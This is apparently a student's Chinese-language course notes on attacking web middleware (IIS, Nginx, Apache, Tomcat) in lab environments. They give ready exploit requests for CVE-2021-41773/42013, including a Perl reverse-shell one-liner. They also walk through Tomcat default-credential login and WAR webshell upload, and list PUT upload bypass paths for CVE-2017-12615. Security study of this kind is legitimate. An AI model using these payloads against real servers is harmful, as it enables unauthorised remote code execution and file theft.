小迪安全v2023学习笔记(七十九讲)—— 中间件安全&IIS&Apache&Tomcat&Nginx&CVE

发布于:2025-09-08 ⋅ 阅读:(14) ⋅ 点赞:(0)

前记

  • 今天是学习小迪安全的第七十九天,本节课内容是中间件安全,包括几大常见的中间件:IIS、Apache、Tomcat、Nginx等
  • 主要以实战为主,希望下去能自己复现一遍

服务攻防——第七十九天

中间件安全&IIS&Apache&Tomcat&Nginx&弱口令&不安全配置&CVE

中间件 - IIS-短文件&解析&蓝屏等

  1. 短文件:信息收集,前面讲过
  2. 文件解析:还有点用,前面讲过
  3. HTTP.SYS:蓝屏崩溃,前面讲过
  4. CVE-2017-7269:条件苛刻无意义

中间件 - Nginx-文件解析&命令执行等

常见漏洞介绍
  1. CVE-2013-4547
    • 漏洞描述:后缀解析,文件名解析
    • 配置不当:该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。
    • 影响版本Nginx 0.8.41~1.4.3 / 1.5.0~1.5.7
  2. CVE-2017-7529
    • 漏洞描述Nginx越界读取缓存漏洞,意义不大
    • 影响版本Nginx 0.5.6~1.13.2
  3. CVE-2021-23017
漏洞复现
  • 这里我们演示一下CVE-2021-23017这个漏洞,首先我们需要启动昨天的Vulfocus,下载Nginx的靶场:
    在这里插入图片描述

  • 然后启动靶场,访问网站,能看到下面这个页面就说明是Nginx:
    在这里插入图片描述

  • 我们可以通过数据包看看它当前的版本是否符合我们漏洞的影响版本:
    在这里插入图片描述

  • 这里可以看到版本为1.18.0,符合我们的漏洞版本,这里就可以直接尝试利用PoC验证一下:

sudo python3 poc.py --target 192.168.0.143:34735 --dns_server 8.8.8.8
  • 直接使用这个poc.py是会报错的,因为它不能解析ip:port这种格式,需要让AI修改一下,然后再运行上面这个代码:
    在这里插入图片描述

  • 然后我们需要让受害者主机进行DNS解析,访问域名即可,但是这里是用的虚拟机,没有域名,而且本地域名用了我也没有复现成功,各位就下去自己试试看吧

中间件 - Apache-RCE&目录遍历&文件解析等

常见漏洞介绍
  1. CVE-2021-41773
    • 漏洞描述:CVE-2021-41773 是 Apache HTTP Server 2.4.49 中首次披露的路径穿越(目录遍历)漏洞,攻击者可绕过 URL 规范化,读取 Web 目录外的任意文件;若服务器同时启用 CGI/ScriptAlias,还可进一步实现远程命令执行(RCE)。
    • 影响版本Apache HTTP Server 2.4.49
    • 利用
#使用curl测试,前面是固定的,后面的/etc/passwd是要读取的文件
curl -v --path-as-is 'http://xx.xx.xx.xx/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'

# 使用bp发包测试
GET /icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
  1. CVE-2021-42013
    • 漏洞描述:CVE-2021-42013 是 Apache 对 CVE-2021-41773 的“修补失败”产物:官方在 2.4.50 中只堵了单重编码的 %2e,却忘了处理双重 URL 编码,导致攻击者仍可用 .%%32e 再次绕过路径规范化,实现与 CVE-2021-41773 完全相同的危害:任意文件读取 + CGI 场景下 RCE。
    • 影响版本Apache HTTP Server 2.4.50
    • 利用
# 命令行
curl --data "echo;id" 'http://xx.xx.xx.xx/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

# 数据包
# 下面使用bp发post包,数据为要执行的命令
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
# 要执行的命令,这里是执行反弹shell命令
echo;perl -e 'use Socket;$i="192.168.0.103";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
  1. CVE-2017-15715

  2. CVE-2017-9798:利用价值不大

  3. CVE-2018-11759:利用价值不大

  4. CVE-2021-37580:插件漏洞

漏洞复现
  • 这里我们就只复现一二两个漏洞(第三个是之前复现过的),然后需要下载对应的靶场
  • 我的本地靶场不知道怎么崩掉了,这里就还是使用在线的Vulfocus靶场,其实还是能用的
CVE-2021-41773

在这里插入图片描述

  • 首先看一下它的版本为Apache/2.4.49 (Debian),符合我们的漏洞版本,那这里就直接测试了:
    在这里插入图片描述

  • 成功读取到/etc/password的内容,说明漏洞是存在的

CVE-2021-42013
  • 这个的靶场就可以直接用上面这个,然后我们也是直接尝试PoC即可:
    在这里插入图片描述

  • 或者使用BP发包,也是OK的,比如这里也执行id命令:
    在这里插入图片描述

  • 当然,也可以尝试反弹Shell,或者正向Shell都是OK的

中间件 - Tomcat-弱口令&文件上传&文件包含等

弱口令猜解
  • 漏洞描述:Tomcat提供一个网页端的后台管理页面,该页面需要配置才可用,默认账号密码为tomcat/tomcat或者admin/admin,如果没有重新配置账号密码则可用默认用户登录,或者爆破弱口令登录;之后通过上传War包可拿Shell
  • 利用
    1. 先爆破tomcat登录弱口令
    2. 然后将生成的 webshell 后门如 1.jsp 压缩成 zip 后修改后缀为 war
    3. 上传 war 访问链接 / 1/1.jsp
    4. 文件存在,上传成功,使用工具连接即可
  • 演示
    • 首先配置tomcat账户,位置为/conf/tomcat-users.xml,添加如下用户
      在这里插入图片描述

    • 关闭杀软,然后启动tomcat,点击Manager App
      在这里插入图片描述

    • 输入默认账号和密码尝试登录,或者尝试弱口令爆破
      在这里插入图片描述

    • 然后就登录进来了,找到部署WAR文件的地方
      在这里插入图片描述

    • 我们利用哥斯拉生成一个jsp后门,然后压缩为压缩包,将后缀改为.war格式
      在这里插入图片描述

    • 上传,然后访问该war包下的1.jsp文件,出现空白说明文件存在
      在这里插入图片描述

    • 然后直接通过哥斯拉连接即可
      在这里插入图片描述

CVE-2017-12615
  • 漏洞描述:当存在漏洞的 Tomcat 运行在 Windows/Linux 主机上, 且启用了 HTTP PUT 请求方法( 例如, 将 readonly 初始化参数由默认值设置为 false) , 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的 webshell 文件,JSP 文件中的恶意代码将能被服务器执行, 导致服务器上的数据泄露或获取服务器权限
  • 影响版本Apache Tomcat 7.0.0 - 7.0.81
  • 利用:使用 bp 发 PUT 包,数据为 jsp 后门代码,可以右键 Paste from file,然后选择后门文件 1.jsp 即可
// 基于Linux
PUT /x.jsp/
PUT /xx.jsp%20

// 基于Windows
PUT /xxx.jsp::$DATA
  • 演示
    • 这里关闭杀软,生成一个jsp木马,然后访问靶场进行抓包,右键 Paste from file 选中刚刚的文件,并将提交方式改为PUT:
      在这里插入图片描述

    • 显示201说明上传成功,我们访问该文件,空白说明文件存在:
      在这里插入图片描述

    • 直接尝试哥斯拉连接,成功:
      在这里插入图片描述

CVE-2020-1938
  • 漏洞描述Apache Tomcat AJP 协议(默认 8009 端口)由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器 webapp 目录下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步结合文件包含实现远程代码的执行。
  • 影响版本
    • Tomcat 6.*
    • Tomcat 7.* < 7.0.100
    • Tomcat 8.* < 8.5.51
    • Tomcat 9.* < 9.0.31
  • 利用https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 目标IP -p 目标端口 -f 读取的文件名
  • 演示
    • 启动靶场,然后直接脚本一把梭即可,比如这里读取 /WEB-INF/web.xml 文件:
      在这里插入图片描述

    • 如果该站点存在文件上传功能,那可以配合实现RCE

其他CVE

网站公告

今日签到

点亮在社区的每一天
去签到